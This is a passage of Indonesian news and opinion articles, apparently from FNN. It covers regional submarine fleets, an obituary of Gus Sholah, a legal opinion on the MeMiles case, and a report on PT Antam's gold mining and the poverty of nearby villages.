merupakan desain kapal selam yang berbasis kapal selam nuklir Perancis Barracuda. Selain itu, Australia juga memiliki kapal permukaan, heli maupun pesawat udara Anti Kapal Selam yang memperkuat jajaran Armadanya seperti: Frigate Anzac Class yang dilengkapi heli AKS Kaman Sea Sprite dan pesawat Patmar P-3C Orion yang mampu membawa sonobuoy dan torpedo MU-90 Eurotorp. RRC (Tiongkok). Memlliki puluhan jenis kapal selam dari kelas Golf, Romeo (Wuhan), Kilo, Song, Han, XIa, Shang, sampai kelas Jin. Dalam perkembangannya China telah berhasil mengekspor kapal selam type 053G Ming Class ke Bangladesh dan program terbaru adalah China sedang membangun kapal selam type S26T yang merupakan varian export dari 039A Yuan class untuk Royal Thailand Navy. Taiwan. Memiliki dua kelas kapal selam, yaitu kapal selam latih kelas Hai Shib (Tench atau GUPPY II), dan kelas Hai Lung (Zwaardvis). India. Memiliki kapal selam kelas Foxtrot, Shishumar (Type 209), Sindhughosh (Kilo), pada 2008 India memulai program pengadaan 6 kapal selam scorpene dalam bentuk TOT dengan keseluruhan kapal tersebut dibangun di Mazagon Shipyard India. Kapal pertama diluncurkan pada 2015 dan masuk dinasl Indian Navy pada tahun 2017. Untuk memperkuat armada kapal selamnya pada 2010, India telah membangun kapal selam modern (Nuclear Powered Ballistic Missile Submarine) yang diberi nama Arihant class. Namun untuk melatih kru kapal nuklir tersebut India menyewa satu kapal selam nuklir kelas Nerpa dari Rusia yang masih beroperasi sampai saat ini. Selain itu AL India juga memiliki kapal permukaan, heli maupun pesawat udara Anti Kapal Selam yang memperkuat jajaran Armadanya seperti Destroyer Delhi Class yang dilengkapi heli AKS Kamov 31 Helix dan pesawat Patmar llyushin 38 May yang mampu membawa sonobuoy dan torpedo. Singapura. Memiliki kapal selam jenis kelas Challenger (refit eks-kelas Sjoormen Swedia), dan kelas Archer (aslinya dari kelas Vastergotland, dan akan di-refit menjadi kelas standar Sodermanland dari Swedia). Selain itu Singapura juga berencana membeli beberapa kapal selam Vastergotland Class buatan Swedia yang lebih modern, dilengkapi dengan flank array sonar dan AlP (Air Independent Propulsion). Pada tahun 2014 untuk menambah kekuatan armada kapal selamnya Singapura telah memulai program pengadaan dua kapal selam baru dengan galangan kapal Jerman TKMS (Thyssen Krupp Marine Systems), kapal selam yang dibangun adalah type 218SG berbasis type 214. Kedua kapal selam tersebut direncanakan akan diterima oleh Singaporean Navy pada 2021 dan 2022. Selain itu AL Singapura juga memiliki kapal permukaan dan pesawat udara Anti Kapal Selam yang memperkuat jajaran Armadanya seperti Frigate Lafayette Class, APV Presistance Class dan pesawat Patmar Fokker 50 yang mampu membawa sonobuoy dan torpedo. Malaysia. Sebagai negara tetangga yang tak mau ketinggalan dalam persaingan kepemilikan kapal selam, Malaysia telah memiliki 1 (satu) kapal selam latih Agosta 70 Class dan 2 (dua) kapal selam Scorpene Class dari DCNS Perancis. Scorpene memiliki keunggulan teknologi yang sudah mutakhir, didukung oleh persenjataan yang memadai seperti rudal SM-38 Exocet (enam peluncur rudal), tabung torpedo untuk meluncurkan torpedo jenis “Black Shark” (Advanced Heavyweight Torpedo) jenis SUV Surface and Undenflrater Torpedo. Persenjataan dikendalikan dengan Advanced Combat System (ACS). ACS memungkinkan kendali persenjataan bekerja bersama dengan rangkaian perangkat sensor secara simultan, hal ini berpengaruh terhadap penanganan persenjataan lebih cepat, senyap dan fleksibel. Dengan sistem ini setiap tabung peluncur dapat meluncurkan rudal dengan aman dan senyap di kedalaman laut. Selain itu AL Malaysia juga memiliki kapal permukaan, heli maupun pesawat udara Anti Kapal Selam yang memperkuat jajaran Armadanya seperti Frigate Lekiu Class yang dilengkapi heli AKS Super Lynx dan Corvette Kedah Class. Jepang. Memiliki armada kapal selam kelas Ko-hyoteki (midget), KD1 sampal KD7, J1, J2, J3, C1, C2, C3, A1, A2, A modifikasi, B1 (seri 1-15), B2, B3, Sen Toku (aka 1-400), Kaichu, Kaisho, Sen Take' (aka 1-200), KRS, DI, D2, Sen Ho, Sen Ho She, dan LA. Untuk Pasukan Bela Diri Maritim memiliki kapal selam kelas Gato, Hayashio, Natshushio, Oshio, Uzushio, Yushio, Harushio, Asashio, Oyashio, dan kelas S. Dari kesemua kapal yang dioperasikan oleh Jepang, kapal selam kelas Soryu adalah kapal selam terbaik yang mereka operasikan. Kapal selam ini sempat menjadi pesaing DCNS Shortfin Barracuda saat pemilihan proyek kapal selam pengganti Collins oleh Royal Australian Navy. Korea Selatan. Memiliki kapal selam kelas Chang Bogo (Type 209) dan kelas Son Won-il class (Type 214). Saat ini Korsel sedang membangun kapal selam dengan berat 3000 ton yang diberi nama project Chang Bogo Three. Setelah berhasil mengirim satu kapal selam kelas DSME 1400 ke Indonesia, Korsel adalah Negara ke-lima sebagai Negara eksportir kapal selam. Pada awal 2017, Korsel telah mulai mendekati Philipina untuk menawarkan pengadaan kapal selam untuk Angkatan Laut Filipina. Korea Utara. Memiliki kapal selam kelas Romeo, Sang-0, dan Yugo (midget submarine). Walaupun secara kualitas kapal selam Korut di bawah negara-negara di kawasan, namun secara kuantitas Korut menduduki ranking 2 negara operator kapal selam karena sampai saat ini mereka masih mengoperasikan sebanyak 70 kapal selam. Pakistan. Memiliki Kapal selam kelas Hashmat (Agosta 70), Khalid (Agosta 90B class submarine), dan 3MG110 class (midget submarine). Vietnam. Angkatan Laut Vietnam telah mengakuisisi enam kapal selam kelas Kilo 636 dari Rusia. Kini Vietnam menduduki peringkat kedua militer terkuat Negara-negara ASEAN. Selain kapal selam kelas Kilo itu, Angkatan Laut Vietnam juga mengoperasikan beberapa kekuatan AKS berupa fregat kelas Gepard, kelas Molniya, kelas Petya, dan Korvet kelas Tarantul. Thailand. Angkatan Laut Thailand (RTN) terus berkembang dengan pengadaan alutsista untuk mendukung operasi dan kebutuhannya. Selain kapal induk kelas Chakri Narubet, saat ini Angkatan Laut Thailand sedang memesan satu kapal selam type S26T yang merupakan varian export dari 039A Yuan class. Melihat fakta dan data di atas, dengan semakin meningkatnya kekuatan serta kemampuan kapal selam negara di kawasan regional, maka perlu adanya perimbangan kekuatan (balance of power) untuk mewujudkan stabilitas keamanan dan pertahanan kawasan. Kekuatan AL negara tetangga semakin maju dengan datangnya berbagai peralatan dan senjata yang lebih modern. Bagaimana dengan Indonesia? Pengadaan kapal selam untuk TNI AL harus mampu menjawab fenomena tersebut serta memberikan efek detterence, minimal seimbang dengan kekuatan negara-negara di kawasan. (Bersambung) ***

Obituari Gus Sholah (1): Kiai Pejuang Kebenaran dan HAM

Oleh Mochamad Toha Jakarta, FNN - Pada Minggu malam, 2 Februari 2020, KH Salahuddin Wahid telah meninggal dunia dalam usia 77 tahun. Ulama yang akrab dipanggil Gus Sholah itu telah dimakamkan di pemakaman umum Kompleks Pondok Pesantren Tebuireng, Jombang, Jawa Timur. Posisinya bersebelahan dengan makam kakak yang paling dikasihi, KH Abdurrahman Wahid alias Gus Dur. Semasa hidupnya, ikatan persaudaraan yang cerdas antara Gus Sholah dengan Gus Dur nyaris tak bisa dilepaskan. Banyak pengamat menilai ikatan kedua Gus dari Bani Hasyim itu seperti dua sisi mata uang logam. Mereka saling melengkapi. Meski terkadang keduanya saling berseberangan, namun mereka justru saling mengasihi antara adik dan kakak. Gus Sholah dalam politik praktis tidak pernah sekalipun memikat hatinya. Dia lebih tertarik pada dunia pendidikan. Sejak kecil sangat fokus dalam menggembleng diri dengan membaca beragam buku. Namun dunia pendidikan yang membetot hatinya bukan pendidikan keagaman sebagaimana saudaranya. Putra ketiga dari enam bersaudara putra pasangan KH Wahid Hasjim dan Hj. Sholehah ini lebih memilih pendidikan umum. Karena itu, pada 1962 setamat SMA Negeri 1 Jakarta melanjutkan pendidikannya ke Institut Teknologi Bandung (ITB). Gus Sholah memilih jurusan arsitektur, meski sebenarnya sangat berminat masuk jurusan ekonomi atau hukum. Semasa kuliah di Bandung, ia aktif dalam kegiatan Senat Mahasiswa dan Dewan Mahasiswa. Minatnya berorganisasi itu yang terasah sejak SMA dengan menjabat Wakil Ketua OSIS kian terasah dengan mulai aktif di Pergerakan Mahasiswa Islam Indonesia (PMII) sejak 1967. Dalam waktu nyaris bersamaan, di menjabat pengurus Komisariat PMII ITB dan Wakil Ketua PMII Cabang Bandung. Tak hanya itu, dia juga menjabat Dewan Pengurus Pendaki Gunung Wanadri. Pada 1968, Gus Sholah ini menikah dengan Farida, putri dari mantan Menteri Agama KH Syaifudin Zuhri. Pernikahan ini cukup unik. Keduanya sama-sama anak mantan Menteri Agama. Peristiwa ini jauh dari unsur kesengajaan, karena Gus Sholah saat mengenal Farida, ternyata tidak tahu calon mertuanya adalah mantan Menteri Agama seperti ayahnya. Dia baru tahu status mertuanya, saat datang melamar. ‘ Dari pernikahan tersebut pasangan ini dikaruniai tiga anak, yaitu Irfan Asy’ari Sudirman Wahid (Ipang Wahid), Iqbal Dorojatun Wahid (Billy Wahid), dan Arina Saraswati Wahid (Rina Wahid). Setelah pernikahan, kuliah Gus Sholah sempat terhenti cukup lama. Dia menekuti kariernya di bidang kontraktor, yang dijalani sejak kuliah. Pada 1970, Gus Sholah mendirikan sebuah perusahaan kontraktor bersama dua orang kawan dan kakak iparnya, Hamid Baidawi. Perusahaan itu bertahan hingga 1977. Selain itu, pernah bergabung dengan Biro Konsultan PT MIRAZH, menjadi Direktur Utama Perusahaan Konsultan Teknik (1978-1997), Ketua DPD Ikatan Konsultan Indonesia/Inkindo DKI (1989-1990); Sekretaris Jenderal DPP Inkindo (1991-1994), Assosiate Director Perusahaan Konsultan Properti Internasional (1995-1996), dan masih banyak yang lain. Singkatnya, sejak 1970 hingga 1997, sebagian besar aktivitasnya fokus di bidang arsitektur dan konstruksi. Dia kembali aktif kuliah di ITB pada 1977. Menyelesaikan studinya pada 1979. Setelah lulus kuliah, aktif di berbagai organisasi. Mulai dari organisasi profesi, organisasi masyarakat, dan organisasi bantuan hukum. Sedangkan kepopulerannya di masyarakat mulai mengkilap sebagai bagian dari trah keluarga pendiri NU, karena perseteruan sengitnya dengan sang kakak Gus Dur sendiri. Pada tahun yang sama, dia kian memanfaatkan waktunya untuk membaca buku dan mulai menulis. Ini karena sejak 1993 menjadi Pimpinan Redaksi majalah Konsultan. Sementara kegiatannya menulis opini banyak dimuat oleh harian Republika, Kompas, Suara Karya, dan beberapa media nasional serta lokal. Tulisannya banyak menyoroti berbagai persoalan yang sedang dihadapi umat dan bangsa. Pemikiran dan gagasannya seringkali berbeda dengan Gus Dur, bahkan pernah berpolemik dengan Gus Dur tentang hubungan agama dan negara di harian Media Indonesia. Hasil polemik tersebut dibukukan oleh Forum Nahdliyyin Untuk Kajian Strategis, Jakarta, dan diberi judul KH. A. Wahid Hasyim Dalam Pandangan Dua Putranya. Dialog antara GusDur-Mas Sholah Mengenai Pandangan Politik Keislaman Sang Ayah (1998). Selain menulis di media massa, Gus Sholah juga banyak menulis buku. Karya-karyanya yang telah dibukukan, antara lain Negeri di Balik Kabut Sejarah (November 2001), Mendengar Suara Rakyat (September 2001); Juga, Menggagas Peran Politik NU (2002), Basmi Korupsi, Jihad Akbar Bangsa Indonesia (Nopember 2003), Ikut Membangun Demokrasi, Pengalaman 55 Hari Menjadi Calon Wakil Presiden (Nopember 2004). Sejak medio 2007, Gus Sholah mengumpulkan naskah-naskah tulisannya yang pernah terbit di berbagai media, untuk diterbitkan dalam bentuk buku. Selain itu, pria kelahiran Jombang ini sering diminta memberikan pengantar pada buku-buku karya penulis lain. Kemampuan menulis Gus Sholah tidak lepas dari kegemarannya membaca sejak usia muda. Kebiasaan itu terus dipertahankannya hingga usia tua. Setiap ada waktu longgar, dia selalu menyempatkan diri membaca. Kebiasaan ini semakin intens di bulan Ramadhan. Dalam satu bulan, sepuluh judul buku bisa habis dibacanya. Pengakuan Gus Sholah saat ditemui pada Ramadhan 2019, dia biasanya menyediakan waktu untuk membaca sebelum dan sesudah makan sahur, setelah Shalat Shubuh, pagi hari, dan sore hari. Karena itu, Gus Sholah sudah memakai kacamata sejak usia muda. Demikian pula, nasib semua saudaranya yang sejak kecil sudah berkaca mata, seperti tampak dalam foto buku Karangan Tersiar karya Abu Bakar Atjeh. ​Sejak bergulirnya Era Reformasi, keterlibatan Gus Sholah dalam bidang politik semakin intens. Pada 1998 ditawari menjadi Sekjen PPP dengan calon Ketua Umum Amien Rais. Namun rencana itu gagal, karena Amien Rais menolak dan memilih mendirikan Partai Amanat Nasional (PAN). Beliau pun bergabung dengan pamannya KH Yusuf Hasyim alias Pak Ud mendirikan Partai Kebangkitan Umat (PKU), selanjutnya mendapat amanah sebagai Ketua Dewan Pimpinan Pusat dan Ketua Lajnah Pemenangan Pemilu PKU. Saat menjabat pengurus PKU, perseteruan Gus Sholah dan Gus Dur kian menyedot perhatian. Masing-masing memegang kuat prinsip yang berbeda. Gus Dur lebih moderat dan banyak yang menyebut sekuler, sementara Gus Sholah lebih berprinsip Islami. Fakta itu tercermin dari partai yang mereka dirikan. PKU berasaskan Islam, sementara Partai Kebangkitan Bangsa (PKB) yang didirikan Gus Dur berasaskan nasionalis. Perbedaan tersebut membuat keduanya sering saling melontarkan kritik pedas. Bila Gus Dur pernah mengeluarkan ungkapan “Telor dan Tahi Ayam” untuk membedakan PKU dan PKB. Kritikan itu dibalas Gus Sholah dengan membongkar rahasia dapur PKB dengan mengatakan, “Mereka membohongi umat dengan menyatakan PKB partainya NU. Itu pembohongan publik. PKB bukan partai Islam, tetapi partai sekuler”. “Bahkan, saat Muktamar NU di Cipasung dan Gus Dur terpilih sebagai Ketua Umum PBNU, ternyata Gus Sholah berada di pihak yang berseberangan dengan Gus Dur,” ungkap seorang santrinya yang menuliskannya dalam sebuah blog. Namun, ada sepenggal cerita yang patut menjadi renungan di balik perseteruan kedua saudara kandung tersebut. Kendati keduanya sangat keras dalam adu kritik, tapi dalam kesehariannya Gus Dur dan Gus Sholah bergaul dengan baik. Gus Sholah bersama istri dan tiga anaknya rajin mengunjungi Gus Dur di Ciganjur. Dalam pertemuan keluarga tersebut, ternyata keluarga Gus Sholah tetap bersenda-gurau dengan isteri dan puteri-puteri Gus Dur. Demikian pula Gus Dur dan Gus Sholah. “Anggota Bani Hasyim sangat menjunjung azas demokrasi. Kami bebas saling kritik terhadap yang lain saat dinilai berbeda prinsip, tapi silahturahmi keluarga juga wajib dijaga tetap erat. Karena itu, polemik antara saya dengan Gus Dur itu konflik yang sejuk dan menghanyutkan,” kata Gus Sholah menilai hubungannya dengan Gus Dur. Sedangkan keterlibatan Gus Sholah dalam PKU berakhir pada September 1999. Mundur dari PKU, Gus Sholah mulai fokus pada NU. Dalam Muktamar NU ke-30 di Pondok Pesantren Lirboyo, Kediri, Gus Sholah ikut maju sebagai salah seorang kandidat Ketua Umum PBNU. Gus Sholah kemudian terpilih sebagai salah satu Ketua PBNU periode 1999-2004. Pada Muktamar NU tahun 2004 di Solo, Gus Sholah kembali dipinang menjadi Ketua PBNU. Namun, pinangan tersebut ditolak secara halus. Keterlibatan Gus Sholah di NU sebenarnya sudah dimulai sejak lama. Pada 1977 bersama aktivis muda NU membentuk ”Kelompok G” yang kelak menjadi cikal bakal tim yang mempersiapkan materi kembalinya NU ke Khittah 1926. Namun keterlibatan itu baru diketahui publik sejak tahun 1990-an, dan semakin intens sejak tahun 2000-an. Pada akhir tahun 2001, Gus Sholah didaftarkan adik iparnya, Lukman Hakim Syaifuddin (mantan Menteri Agama periode 2014-2019), sebagai calon anggota Komnas HAM. Kendati dengan persiapan sekedarnya, ternyata berhasil lolos uji kelayakan (fit and proper test). Selanjutnya menjadi salah satu komisioner dari 23 anggota Komnas HAM periode 2002-2007. Pada saat sama, terpilih sebagai Wakil Ketua II Komnas HAM. Selama berkiprah di Komnas HAM, Gus Sholah sempat memimpin TGPF (Tim Gabungan Pencari Fakta) untuk menyelidiki kasus Kerusuhan Mei 1998 (Januari-September 2003), Ketua Tim Penyelidik Adhoc Pelanggaran HAM Berat kasus Mei 1998; Ketua Tim Penyelidikan Kasus Pulau Buru, dan lain sebagainya. Sejak saat itu popularitasnya kian berkibar. (Bersambung) Penulis adalah wartawan senior

Kasus MeMiles, Kapolri Perlu Hadirkan Makna Konstitusional

By Dr. Margarito Kamis Jakarta, FNN – Apakah hanya sebatas persoalan hukumkah kasus MeMiles ini? Terlihat sepertinya tidak. Persoalan ini, pada level tertetu bergerak memasuki dan menyentuh sendi-sendi tata negara kita. Terlihat pertaliannya yang erat dengan kewajiban konstitusional pemerintah kepada rakyat 270.000 member MeMiles. Sebab itu masalah ini terbilang strategis nilainya. Tindakan penyidikan dalam kasus ini, betapapun imperatif dalam kerangka UU 7 Tahun 2014, telah menimbulkan akibat tak terduga sejumlah orang. Sebut saja member yang kehilangan pendapatan. Pendapatan, sebut saja “musiman” dari jualan produk yang diiklankan, menjadi hilang dengan sendirinya. Mereka member MeMiles yang terlihat kehilangan pendapatan, sejauh ini tak teridentifikasi sebagai korporasi berkarakter oligarkis. Mereka juga bukan orang-orang besar berjumlah kecil, yang berpesta dibidang ekonomi dan politik. Mereka bukan juga orang-orang besar yang menguasai sebagian besar kekayaan Indonesia. Ya member MeMiles itu, mereka bukan para oligarki atau konglomerat. Karena bukan mereka, maka sejauh ini tak muncul gagasan bail out atau sejenisnya dari pemerintah. Tentu saja untuk menolong mereka. Suara-suara derita, pilu dan sejenisnya dari member MeMiles memang kalah daya getarnya. Suara mereka kalah bila dibandingkan dengan suara korporasi berkarakter oligarkis dan konglomerat ketika mereka terimpa masalah. Itu jelas dan nyata. Suara member sejauh ini terlihat tenggelam dalam hiruk pikuk RUU Cipta Lapangan Kerja, RUU Ibu Kota, yang dirancang dalam skema Ominbus. Kasus MeMiles membuat roda waktu berputar menyegarkan memori kita tentang peran pemerintah dalam menangani Kasus Bantuan Likuidatas Bank Indonesia (BLBI). Kasus ini membuktikan dengan sangat terang tentang, entah bagaimana, pemerintah atas nama penyelamatan ekonomi nasional, menyodorkan kewajiban konstitusonalnya. Pemerintah mau menggelontorkan uang dalam jumlah ratusan triliunan rupiah untuk menyelamatkan oligarki dan konglomerat dalam skandal BLBI. Pemerintah menyuntikan uang, bail out, ke korporasi-korporasi itu. Sebagai imbalannya mereka harus menyerahkan asset-asetnya ke pemerintah. Waktu berjalan dan memunculan luka-luka lama. Entah disangaja atau tidak. dalam kebijakan itu, sejauh ini sangat nyata. Ya korporasi besar selalu memiliki kemampuan untuk menarik pemerintah memasuki dan menggerakan kewajiban konstitusional. Tetapi bukan itu yang hendak disodorkan untuk menerangkan inisiatif pemerintah tahun 2016. Pada tahun itu, pemerintah melalui Menteri Komunikasi dan Informatika (Menkoinfo) berinisiatif memperlancar investasi asing pada sektor e-xcommerce (bisnis daring). Inisiatif ini diapresiasi oleh para pemain asing. Inisiatif itu ditampilkan dalam Forum Jakarta Foreign Correspondents Club pada tanggal 8 Maret 2016. Adalah Rudiantara, Menkoninfo kala itu menyatakan bahwa investor asing boleh memiliki maksimal 49% saham di bisnis daring yang bernilai bersih Rp 10-100 miliar. Pemerintah, untuk tujuan itu akan mempercepat proses perijinan menjadi tiga jam saja. Syaratnya, nilai investasi harus di atas Rp 100 miliar atau perusahaan merekrut paling sedikit 1.100 pegawai di Indonesia. Kebijakan ini, kata Rudiantara bagian dari 31 prakarsa untuk mengembangkan bisnis daring di Indonesia, sembari mendorong usaha kecil dan menengah (UKM) (BBCIndonesia, 9 Maret 2026). Mengaitkan investasi asing dengan penggunaan tenaga kerja Indonesia dalam skema inisiatif Pak Rudy untuk bisnis e-commerce, yakni sebanyak “1.100 orang” untuk investasi di atas Rp.100 miliar, cukup jelas merefleksikan kesadaran berkerangka kewajiban konstitusional. Sampai dititik itu, inisiatif ini baik dalam semua aspeknya ke depan. MeMiles, sejauh ini tidak mempekerjakan tenaga kerja asing. Juga pekerja sebanyak 1.100 orang. Izin usahanya, sejauh ini teridentifikasi bermasalah menurut Polda Jawa Timur. Disisi lain terdapat kenyataan adanya inisiatif pemerintah menggelorakan investasi asing dibidang bisnis daring. Untuk itu, pemerintah hendak menyederhanakan proses perolehan izin. Pada titik ini, terdapat kesamaan substansial antara inisiatif pemerintah yang menggelorakan usaha daring dengan kehadiran PT Kam and Kam. MeMiles, cukup jelas bukan bisnis daring. Bukan pula investasi asing. MeMiles terlepas dari izin dan jenis usahanya yang dianggap bermasalah, secara faktual terlihat member yang umumnya warga negara, menerima maanfaat yang sangat berarti. Manfaat yang banyak dalam jumlah orang, maupun nilai ekonomi yang didapat. Tidak mungkin memanggil kecurigaan dalam mengenali sikap diam pemerintah sejauh ini. Jelas itu bukan. Tetapi beralasan mengundang pertanyaan hipotetik tentang kemungkinan adanya korporasi lain yang menemukan dirinya terpukul dengan keberadaan MeMiles? Tidak logiskan pemerintah menggunakan kewajiban konstitusional kecil, yang mirip tindakan menangani BLBI atau Bank Century? Bahkan mungkin sebentar lagi Jiwasraya dan Asabri? Pemerintah tidak perlu mengeluarkan uang untuk 270.000 member MeMiles. Yang perlu dilakukan pemerintah hanyalah memastikan MeMiles tetap berlangsung, menempatkannya di bawah kendali, pembinaan dan pengawasan terukur dari pemerintah? Pemerintah memperoleh fungsi karena dikerangkakan pada UUD 1945. Dalam kerangka itu, pemerintah terlilit berkewajiban untuk memastikan keadaan perekonomian memiliki daya yang menggembirakan warga negara. Ini kewajiban yang memilki level prioritas tinggi. Pada kerangka itu pula Undang-Undang Dasar 1945 menyodorkan dan menuntun kewajiban pemerintah tersebut dengan keharusan untuk berlaku adil kapada semua warga negara. Tidak berpihak dalam merumuskan dan mengimplementasikan kebijakan negara. Pemerintah hanya perlu menemukan satu cara kecil untuk memastikan bahwa “skema piramida” tidak membuahkan atau menjadi modus spekulasi pengusaha, dengan hasil akhir yang pahit buat pembeli top up. Hanya itu saja. Tidak lebih dan tidak kurang. Ditemukan intended expectation dari larangan “skema piramida” yang tidak bergerak tak tanpa arah. Selain itu untuk mencegah spekulasi pengusaha, yang mungkin saja berakhir memilukan mitra. Spekulasi pengusaha itulah yang harus dicegah. Menemukan kebijakan pencegahan merupakan cara terukur memproteksi, melindungi anggota, mitra. Hilangkan potensi spekulasi tipikal Piramida Ponzi, yang ambil sana tutup sini. Begitu dan seterusnya dengan cara mengendalikan operasinya. Tugas konstitusional pemerintah membuat regulasi, yang mengendalikan penggunaan uang yang masuk ke korporasi. Ini sangat beralasan untuk dibayangkan sebagai salah satu cara yang pantas dipertimbangkan oleh pemerintah dalam kasus MeMiles. Respon tipikal ini, andai mungkin diambil, tidak harus dilihat sebagai cara pemerintah menemukan salah satu jalan keluar kecil. Apalagi pemerintah terlihat kesulitan merealisasikan janji menyediakan kartu pra kerja buat mereka yang belum bekerja. Jelas tidak beralasan. Tidak beralasan juga menilai bahwa sikap diam pemerintah, entah dengan apapun pertimbangannya, sebagai refleksi dari ketaatan yang agak naïf terhadap hukum yang ditegakan oleh Polda Jatim. Sungguh ada keharusan mengesampingkan sejauh mungkin praktik penanganan hukum memilukan kasus First Travel. Praktis sejauh ini mungkin harus dihindari. Negara yang diwakili Polda Jawa Timur, dengan alasan apapun, tak bisa menyodorkan penegakan hukum sebagai sarana untuk mengambil uang member yang dipakai untuk top up. Itu salah. Hsrusnya tidak begitu. Mengeluarkan himpitan dan ketidakberdayaan member MeMiles yang tak punya senjata politik, untuk alasan dan kewajiban konstitusional, pantas muncul menjadi prioritas tinggi dan utama dari pemerintah menangani kasus ini. Dimensi konstitusionel harus dipanggil dan dititi pemerintah memasuki kasus MeMiles ini. Kembalikan uang yang di top up. Cara ini mungkin bisa muncul sebagai jalan keluar kecil kedua untuk mereka yang top up, yang baru saat ini mengetahui bahwa perusahaan tak memiliki izin. Sebab mereka bukan korporasi, yang sejauh ini terilhat istimewa di dalam kehidupan konstitusional. Tetapi para member MeMiles jelas hanya warga negara. Terminologi konstitusi yang menjadi alasan pemerintah ada dan bekerja. Siapa yang mungkin dibayangkan berada di depan dalam kerangka pemecahan komprehensif kasus MeMiles ini? Terasa elok andai saja Pak Kapolri berada di depan merespon dengan cermat kasus ini. Menyajikan pemecahan yang selaras, harmoni dengan hukum dalam bingkai kewajiban konstitusional pemerintah, terasa wajar dan memadai. Andai Pak Kapolri bisa meletakan pemecahan kasus ini pada kerangka kewajiban konstitusional dari pemerintah. Bukan hanya bertumpu pada hukum pidana semata, maka sama nilainya dengan Pak Kapolri telah memberi makna yang sangat menakjubkan atas eksistensi konstitusional Kepolisian. Jika langkah ini dilakukan Pak Kapolri, maka disinilah fungsi dan peran pengayoman polisi dihadirkan secara nyata kepada pemegang saham polisi. Kepada pemilik polisi yang sesungguhnya, yaitu rakyat Indonesia 270.000 member MeMiles. Jika satu member MeMiles mempunyai satu istri atau suami, dan menghidupi tiga orang anak, maka ada sekitar satu juta lebih pemilik polisi, pemegang saham polisi yang numpang makan, minum dam sekolah dari operasional MeMiles ini. Semoga saja bermanfaat. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

PT Antm Tebar Pesona di Atas Nelangsa Rakyat

By Kafil Yamin Jakarta, FNN - Sejak Januari sampai bulan Oktober 2019 lalu, PT Aneka Tambang Tbk [ANTM] mengantongi laba bersih sebesar Rp561 miliar. Sedangkan pedapatan sebelum pajak, bunga, depresiasi dan amortizasi [EBITDA] tercatat Rp2,27 trilyun. Emas adalah komponen terbesar pendapatan perusahaan itu, dengan nilai sebesar Rp 17 triliun atau 69 persen dari total penjualan bersih sepanjang 2019. Produksi emas keseluruhan dari tambang Pongkor dan Cabaliung mencapai 1.485 Kg, dengan volume penjualan tercatat sebesar 26.388 Kg. Laba bersih PT Antam tahun sebelumnya [2018] adalah Rp874 miliar, melonjak dari laba tahun sebelumnya yang hanya mencapai Rp 136 miliar. Ada aroma kebanggan pada direksi PT Antam setiap kali menyampaikan kinerja perusahaannya, terutama ketika memperlihatkan keuntungan yang diperoleh. Seperti terungkap pada keterangan pers ketika mengumumkan keuntungan tahun 2018: “Profitabilitas juga didukung tingkat efisiensi yang mencapai 97persen dari target efisiensi…” Tapi, apa sebenarnya arti keuntungan sebuah perusahaan milik negara? Angka atau jumlah yang tinggi kah? Lakunya penjualan saham kah? Atau, manfaat nyatanya kepada negara, terutama masyarakat? Lebih khusus lagi, apa manfaatnya kepada masyarakat sekitar tempat perusahaan itu beroperasi? Tahun 2018, produksi emas Antam dari Pongkor dan Cibaliung mencapai 1.957 kilogram atau nyaris mencapai 2 ton. Nilai penjualan dari produksi emas Pongkor dan Cibaliung ini menempati bagian terbesar dalam keseluruhan nilai penjualan perusahaan negara tersebut. Kinerja ‘mempesona’ perusahaan itu toh berbanding terbalik dengan keadaan desa-desa yang mengelilinginya, yang secara ekonomi-sosial nyaris tak berubah, bahkan cenderung menurun. Perusahaan yang menguras kekayaan alam mereka tak memberi dampak kesejahteraan , bahkan lebih banyak membawa masalah. Desa Bantarkaret, yang bersebelahan dengan konsesi tambang emas PT Antam, termasuk salah satu desa paling tertinggal di Indonesia. Fasilitas kesehatan, pendidikan, dan infrastruktur tergolong memprihatinkan. Pemantauan penulis ke desa Bantarkaret, Cisarua dan Malasari, yang tercakup dalam wilayah operasi PT Antam, menyajikan gambaran keterbelakangan dan kemiskinan. Jalan-jalan berlubang dan membahayakan, tidak ada rumah sakit, puskesmas atau layanan kesehatan yang layak. Terdapat sejumlah Sekolah Dasar Negerei [SDN] di Kecamatan Nanggung, tapi nyaris semuanya kekurangan fasilitas, guru dan sarana penunjang lain. SMP Negeri hanya ada dua, yakni SMP 1 Negeri Nanggung dan SMP Satu Atap Nanggung. SMA negeri hanya satu. “Cara satu-satunya masyarakat sekitar bisa ikut menikmati cadangan emas di bumi mereka sendiri adalah dengan menjadi gurandil [penambang tradisional]. Itu pun dianggap illegal,” kata Asep Hudri, Ketua Yayasan Lingkar Pongkor, kepada Forum News Network. Bahkan, ketika mengunjungi lokasi banjir-longsor di Kecamatan Sukajaya 7 Januari lalu, Presiden Joko Widodo menuding para penambang liar itu sebagai biang keladi. Ia meminta Kementerian Lingkungan Hidup dan Kehutanan (KLHK) mencabut izin dan menutup tambang-tambang liar itu serta mewajibkan penambang liar tersebut merehabilitasi lubang-lubang peninggalan mereka. Menindak lanjuti pernyataan Presiden itu, segera 700 personel gabungan Polres Bogor, Polda Jawa Barat, TNI, Polisi Kehutanan, dan puluhan sekuriti PT Antam Tbk, menutup sedikitnya 23 lubang penambangan emas rakyat di kaki Gunung Pongkor. Jadi, untuk mencegah agar lubang-lubang rakyat itu tak menimbulkan banjir dan longsor, polisi harus menunggu pernyataan presiden dulu. Padahal, bencana longsor di wilayah Sukajaya dan Jasinga itu masih dalam tahap kajian dari dinas ESDM. Karena aliran sungai dan batas geografis antara wilayah Kecamatan Nanggung dengan wilayah Kecamatan yang terdampak bencana longsor berjauhan. Menurut sejumlah warga setempat, curah hujan tinggi dan berlangsung lama hingga 18 jam terus-menerus adalah sebab utama bencana longsor tersebut. Asep Hudri menjelaskan bahwa selain emas, Bogor Barat adalah wilayah operasi sejumlah perusahaan tambang berbagai sumber daya mineral non-logam seperti bentonit, zeolite, kalsit, seng dan timbal. Kenyataan ini menjadikan bumi Bogor Barat degerogoti berbagai galian tambang. “Mungkin perut bumi Bogor Barat sudah ‘gorowong’ [kosong] oleh galian berbagai perusahaan tambang itu,” kata Asep. “Gurandil itu apa? Cuma bikin lubang-lubang kecil di atas permukaan tanah. Mereka sudah ada sejak dahulu kala dan tak pernah jadi biang bencana,” tandasnya. Desa-desa di sekitar wilayah tambang Pongkor, di wilayah Kecamatan Sukajaya misalnya, masih tergolong terisollir, sehingga ketika bencana banjir dan longsor melanda desa-desa terpencil tersebut, bantuan sulit dikirim. Satu-satunya jalan ke sejumlah desa tertutup longsoran, meski akhirnya ditembus setelah beberapa hari. Desa-desa itu antara lain Desa 